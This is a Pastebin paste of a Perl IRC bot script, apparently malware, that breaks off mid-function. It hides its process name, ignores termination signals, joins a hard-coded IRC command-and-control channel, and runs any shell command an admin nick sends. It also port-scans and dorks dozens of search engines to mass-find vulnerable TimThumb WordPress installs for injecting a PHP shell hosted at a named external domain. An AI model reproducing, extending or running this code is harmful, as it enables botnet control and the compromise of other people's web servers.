Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple; use LWP 5.64;
- use LWP::UserAgent; use Socket;
- use IO::Socket; use IO::Socket::INET;
- use IO::Select; use MIME::Base64;
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/httpd";
- my $ircserver = "irc.s4l1ty.info";
- my $ircport = "6667";
- my $nickname = "[test][".int(rand(10))."]";
- my $ident = "test";
- my $channel = "#grmteam";
- my $admin = "Rul3x";
- my $fullname = "6,1 4mahluk's BOT";
- my $thumblogo = "0,1(8@9TimThumb0)";
- my $thumbcmd = '!tim';
- ###########################################################################
- my $thumbshell = "http%3A%2F%2Fblogger.com.bhradioperu.com%2Fdb.php";
- my $botid = "http://blogger.com.bhradioperu.com/db.php";
- my $folder1 = "/cache/a5afa3e6656615542b9c969464484d6e.php";
- my $folder2 = "/cache/external_a5afa3e6656615542b9c969464484d6e.php";
- my $folder3 = "/temp/a5afa3e6656615542b9c969464484d6e.php";
- my $folder4 = "/temp/external_a5afa3e6656615542b9c969464484d6e.php";
- my $folder5 = "/wp-content/uploads/thumb-temp/a5afa3e6656615542b9c969464484d6e.php";
- my $cekgoogle = "http://google.com/search?q=inurl%3A%2Fwp-content%2Fthemes%2F*%2Ftimthumb.php";
- my @bypasser = ("http://estanciadevalencia.com/sn/google.php","http://www.alexoloughlin.es/google.php","http://www.maclube.org/google.php",);
- my $bypass = $bypasser[rand(scalar(@bypasser))];
- my @bypasser2 = ("http://www.convenienthealthcard.com/byroe.php","http://www.plugcreativity.org//google.php","http://www.citerastudio.com//google.php");
- my $bypass2 = $bypasser2[rand(scalar(@bypasser2))];
- ##############################################################################
- my @uagents = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12','Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4','Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6','Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1'); my $uagent = $uagens[rand(scalar(@uagents))]; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; $ircserver = "$ARGV[0]" if $ARGV[0]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new();
- sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } }
- sub connector {
- my $mynick = $_[0]; my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- my $versi = "6,1 4mahluk's BOT";
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}}
- sub parse { my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$mynick".int rand(1)); }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $mynick +Bxp");
- sendraw("JOIN $channel"); sleep(2);
- sendraw("PRIVMSG $admin :Hi $admin im here !!!"); } } my $line_temp;
- while( 1 ) { while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''})
- if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh);
- $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="GooGLe,GooGle2,ByPass,ByPass2,,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR";
- if ($path eq $mynick) { if ($msg =~ /^PING (.*)/) { sendraw("NOTICE $nick :PING $1"); } if ($msg =~ /^VERSION/) { sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey"); }
- if ($msg =~ /^TIME/) { sendraw("NOTICE $nick :TIME ".$datetime.""); }
- if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); }
- if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); }
- if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) { sendraw("NICK ".$1); }
- if (&isAdmin($nick) && $msg =~ /^!pid/) { sendraw($IRC_cur_socket, "PRIVMSG $nick :0,1Fake Process/PID : $fakeproc - $$"); }
- if (&isAdmin($nick) && $msg !~ /^!/) { &shell("$nick","$msg"); } }
- else { if (&isAdmin($nick) && $msg eq "!die") { &shell("$path","kill -9 $$"); }
- if (&isAdmin($nick) && $msg eq "!killall") { &shell("$path","killall -9 perl"); }
- if (&isAdmin($nick) && $msg eq "!reset") { sendraw("QUIT :Restarting..."); }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) { sendraw("JOIN #".$1); }
- if (&isAdmin($nick) && $msg eq "!part") { sendraw("PART $path"); }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) { sendraw("PART #".$1); }
- if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) { &shell("$path","$1"); }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) { &shell("$path","$1"); }
- if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2";
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
- if ($scansock) { &msg("$path","0,1(8PORT15)6 $hostip:$portsc 4Accepted"); }
- else { &msg("$path","0,1(8PORT15)6 $hostip:$portsc 4Denied"); } }
- if ($msg=~ /^!ip\s+(.*)/ ) { if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else { my $ip = $1; &msg("$path","0,1(8IP15)6 Searching ".$ip." 4Location ...");
- my $website = "http://www.ipligence.com/geolocation"; my ($useragent,$request,$response,%form);
- undef %form; $form{ip} = $ip; $useragent = LWP::UserAgent->new; $useragent->timeout(6);
- $request = POST $website,\%form; $response = $useragent->request($request);
- if ($response->is_success) { my $res = $response->content;
- if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) { my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
- &msg("$path","0,1(8IP15)6 IP Address : ".$ip." 4 ( ".$ipaddress." )");
- &msg("$path","0,1(8IP15)6 City : ".$ip." 4 ( ".$city." )");
- &msg("$path","0,1(8IP15)6 Country : ".$ip." 4 ( ".$country." )");
- &msg("$path","0,1(8IP15)6 Continent : ".$ip." 4 ( ".$continent." )"); } else {
- &msg("$path","0,1(8IP15)6 ".$ip." not found in database."); } } else {
- &msg("$path","0,1(8IP15)6 Cannot open IP database."); } } exit; } } if (
- $msg=~ /^!help/) { my $helplogo = "4(8@9Help4)"; &msg("$path","4$helplogo 8 ############################");
- &msg("$path","4$helplogo 8 #9 $thumbcmd [bug] [dork] 8#"); &msg("$path","4$helplogo 8 ############################"); }
- if ($msg=~ /^!engine/) { my $enginelogo = "4(8@9Engine4)"; &msg("$path","4$enginelogo 8 $engine "); }
- if ($msg=~ /^!about/) { my $aboutlogo = "15(4@4About Bot15)"; &msg("$path","0,1$aboutlogo 14 TIMTHUMB cPanel Finder"); }
- if ($msg=~ /^!respon/ || $msg=~ /^!id/) { if (&isFound($botid,"GIF89a")) { &msg("$path","0,1(8Injector15)6 PHP Shell 9READY!!!"); } else {
- &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!"); } }
- if ($msg=~ /^!cekgoogle/ || $msg=~ /^!google/) {
- if (&isFound($cekgoogle,"google")) { &msg("$path","0,1(8GooGle15)9 OK!!!"); } else {
- &msg("$path","0,1(8GooGle15)6 Banned!!!"); } }
- if (&isAdmin($nick) && $msg =~ /^!pid/) { ¬ice("$nick","0,1Fake Process/PID : 8$fakeproc - $$"); }
- if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) { if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else { if (&isFound($botid,"GIF89")) { my ($bug,$dork) = ($1,$2); &msg("$path","0,1$thumblogo 12Dork :4 $dork 12Bug :4 $bug ");
- &scan_start($path,$bug,$dork,$engine,1); } else { &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!"); }
- exit; }
- }
- }
- }
- }
- for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = ''; $line =~ s/\r$//; unless ($c == $#lines) { &parse("$line"); } else { if ($#lines == 0) { &parse("$line"); }
- elsif ($lines[$c] =~ /\r$/) { &parse("$line"); }
- elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { &parse("$line"); } else {
- $line_temp = $line; }
- }
- }
- }
- }
- ##################################################################
- sub type () {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($type == 1){$type=&thumb($chan,$bug,$dork,$engine);}
- elsif ($type == 2){$type=&zero($chan,$bug,$dork,$engine);}
- }
- ###################################################################
- sub scan_start() {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($engine =~ /bing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Bing",$type);
- } exit; }
- }
- if ($engine =~ /altavista/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ALtaViSTa",$type);
- } exit; }
- }
- if ($engine =~ /google2/i) {
- if ($pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGle2",$type); }
- exit;
- }
- }
- if ($engine =~ /ask/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsK",$type);
- } exit; }
- }
- if ($engine =~ /uol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"UoL",$type);
- } exit; }
- }
- if ($engine =~ /clusty/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"CluSty",$type);
- } exit; }
- }
- if ($engine =~ /google/i) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGLe",$type); }
- exit;
- }
- }
- if ($engine =~ /gutser/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GutSer",$type);
- } exit; }
- }
- if ($engine =~ /rediff/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ReDiff",$type);
- } exit; }
- }
- if ($engine =~ /virgilio/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"VirgiLio",$type);
- } exit; }
- }
- if ($engine =~ /webde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WebDe",$type);
- } exit; }
- }
- if ($engine =~ /exalead/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ExaLead",$type);
- } exit; }
- }
- if ($engine =~ /lycos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyCos",$type);
- } exit; }
- }
- if ($engine =~ /hotbot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"HotBot",$type);
- } exit; }
- }
- if ($engine =~ /aol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AoL",$type);
- } exit; }
- }
- if ($engine =~ /sapo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SaPo",$type);
- } exit; }
- }
- if ($engine =~ /duck/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DuCk",$type);
- } exit; }
- }
- if ($engine =~ /lygo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyGo",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YauSe",$type);
- } exit; }
- }
- if ($engine =~ /baidu/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BaiDu",$type);
- } exit; }
- }
- if ($engine =~ /kipot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"KiPoT",$type);
- } exit; }
- }
- if ($engine =~ /gibla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GiBLa",$type);
- } exit; }
- }
- if ($engine =~ /black/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BLacK",$type);
- } exit; }
- }
- if ($engine =~ /onet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"oNeT",$type);
- } exit; }
- }
- if ($engine =~ /sizuka/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SiZuka",$type);
- } exit; }
- }
- if ($engine =~ /walla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WaLLa",$type);
- } exit; }
- }
- if ($engine =~ /demos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DeMos",$type);
- } exit; }
- }
- if ($engine =~ /rose/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"RoSe",$type);
- } exit; }
- }
- if ($engine =~ /seznam/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SeZnaM",$type);
- } exit; }
- }
- if ($engine =~ /tiscali/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"TisCali",$type);
- } exit; }
- }
- if ($engine =~ /naver/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NaVeR",$type);
- } exit; }
- }
- if ($engine =~ /doogate/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DooGatE");
- } exit; }
- }
- if ($engine =~ /sogou/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"sogou",$type);
- } exit; }
- }
- if ($engine =~ /bypass2/i) {
- if ($pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else { &type($chan,$bug,$dork,"ByPass2",$type); }
- exit;
- }
- }
- if ($engine =~ /interia/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"interia",$type);
- } exit; }
- }
- if ($engine =~ /snz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"snz",$type);
- } exit; }
- }
- if ($engine =~ /yandex/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"yandex",$type);
- } exit; }
- }
- if ($engine =~ /joeant/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"joeant",$type);
- } exit; }
- }
- if ($engine =~ /terra/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"terra",$type);
- } exit; }
- }
- if ($engine =~ /youdao/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"youdao",$type);
- } exit; }
- }
- if ($engine =~ /amfibi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"amfibi",$type);
- } exit; }
- }
- if ($engine =~ /bigclique/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"bigclique",$type);
- } exit; }
- }
- if ($engine =~ /dancefloor/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"dancefloor",$type);
- } exit; }
- }
- if ($engine =~ /live/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"live",$type);
- } exit; }
- }
- if ($engine =~ /rakuten/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"rakuten",$type);
- } exit; }
- }
- if ($engine =~ /biglobe/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"biglobe",$type);
- } exit; }
- }
- if ($engine =~ /nova/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"nova",$type);
- } exit; }
- }
- if ($engine =~ /najdi/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"najdi",$type);
- } exit; }
- }
- if ($engine =~ /goo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"goo",$type);
- } exit; }
- }
- if ($engine =~ /uksubmit/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"uksubmit",$type);
- } exit; }
- }
- if ($engine =~ /excite/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"excite",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo",$type);
- } exit; }
- }
- if ($engine =~ /bypass/i) {
- if ($pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ByPass",$type); }
- exit;
- }
- }
- }
- #############################################################################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "ReDiff") {
- my @rediff = &rediff($dork); push(@total,@rediff); }
- if ($engine eq "Bing") {
- my @bing = &bing($dork); push(@total,@bing); }
- if ($engine eq "ALtaViSTa") {
- my @altavista = &altavista($dork); push(@total,@altavista); }
- if ($engine eq "YahOo") {
- my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- if ($engine eq "AsK") {
- my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "UoL") {
- my @uol = &uol($dork); push(@total,@uol); }
- if ($engine eq "CluSty") {
- my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "GutSer") {
- my @gutser = &gutser($dork); push(@total,@gutser); }
- if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
- if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
- if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
- if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "ByPass") {
- my @bypass = &bypass($dork); push(@total,@bypass); }
- if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
- if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
- if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
- if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
- if ($engine eq "GooGle2") {
- my @google2 = &google2($dork); push(@total,@google2); }
- if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
- if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
- if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
- if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
- if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
- if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
- if ($engine eq "DooGatE") { my @doogate = doogate($dork); push(@total,@doogate); }
- if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
- if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
- if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
- if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
- if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
- if ($engine eq "GooGLe") {
- my @google = &google($dork); push(@total,@google); }
- if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
- if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
- if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
- if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
- if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
- if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
- if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
- if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
- if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
- if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
- if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
- if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
- if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
- if ($engine eq "ByPass2") {
- my @bypass2 = &bypass2($dork); push(@total,@bypass2); }
- @clean = &clean(@total);
- &msg("$chan","0,1$logo(4@8$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
- return @clean;
- }
- ##################################################################################################################################
- sub google() {
- my @list; my $key = $_[0]; for (my $i=0; $i<=400; $i+=10){
- my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } }
- return @list;
- }
- sub google2() {
- my @list; my $key = $_[0]; my $b = 0;
- my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo",
- "com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk",
- "dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn",
- "hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz",
- "li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf",
- "com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt",
- "com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to",
- "tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
- foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } }
- return @list;
- }
- }
- sub rediff() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=500; $i+=10) {
- my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
- $b = "$i";
- my $res = &search_engine_query($search);
- if ($res !~ /firstres=$b\'>/) {$i=500;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
- if ($1 !~ /rediff\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ m/<span class=\"next\">próxima<\/span>/){$i=500;}
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- if ($1 !~ /uol\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bypass() {
- my @list; my $key = $_[0];
- my $search = ($bypass."?key=".&key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"\/url\?q=\http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){ my $link = $1; my @grep = &links($link);
- push(@list,@grep); } }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
- my $res = &search_engine_query($search);
- if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=500;}
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /bing\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
